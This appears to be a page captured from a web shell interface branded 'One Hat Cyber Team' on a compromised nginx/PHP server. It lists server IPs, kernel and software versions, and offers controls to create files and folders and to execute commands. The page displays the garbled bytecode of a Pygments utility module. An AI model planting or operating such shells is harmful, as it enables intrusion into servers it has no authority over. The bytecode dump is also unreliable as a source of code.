⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
pygments
/
__pycache__
/
View File Name :
util.cpython-312.pyc
g/' d Z ddlZddlmZ ej d Z ej dej ej z ej z Z ej dej ej z ej z Z ej dej Z G d d e Z G d de Zd dZd!d Zd!dZd!dZd Zd Zd Zd Zd Zi Zd Zd Zd"dZd#dZ G d d Z d Z!d Z"d Z# G d de Z$y)$z pygments.util ~~~~~~~~~~~~~ Utility functions. :copyright: Copyright 2006-2024 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. N) TextIOWrapperz[/\\ ]z ]*> z<(.+?)(\s.*?)?>.*?z\s*<\?xml[^>]*\?>c e Zd ZdZy) ClassNotFoundzCRaised if one of the lookup functions didn't find a matching class.N__name__ __module____qualname____doc__ //usr/lib/python3/dist-packages/pygments/util.pyr r s Mr r c e Zd ZdZy)OptionErrorz This exception will be raised by all option processing functions if the type or value of the argument is not correct. Nr r r r r r " s r r c | j || }|r|j }||vr8t dj |dj t t | |S )z} If the key `optname` from the dictionary is not in the sequence `allowed`, raise an error, otherwise return it. z%Value for option {} must be one of {}z, )getlowerr formatjoinmapstr)optionsoptnamealloweddefaultnormcasestrings r get_choice_optr ( s^ [[' *F WAHHRVR[R[\_`cel\mRnoppMr c 4 | j || }t |t r|S t |t rt | S t |t st d|d| d |j dv ry|j dv ryt d|d| d ) a@ Intuitively, this is `options.get(optname, default)`, but restricted to Boolean value. The Booleans can be represented as string, in order to accept Boolean value from the command line arguments. If the key `optname` is present in the dictionary `options` and is not associated with a Boolean, raise an `OptionError`. If it is absent, `default` is returned instead. The valid string values for ``True`` are ``1``, ``yes``, ``true`` and ``on``, the ones for ``False`` are ``0``, ``no``, ``false`` and ``off`` (matched case-insensitively). Invalid type for option z%; use 1/0, yes/no, true/false, on/off)1yestrueonT)0nofalseoffFInvalid value )r isinstanceboolintr r r r r r r s r get_bool_optr. 5 s [[' *F&$ FC F| $M&<y I<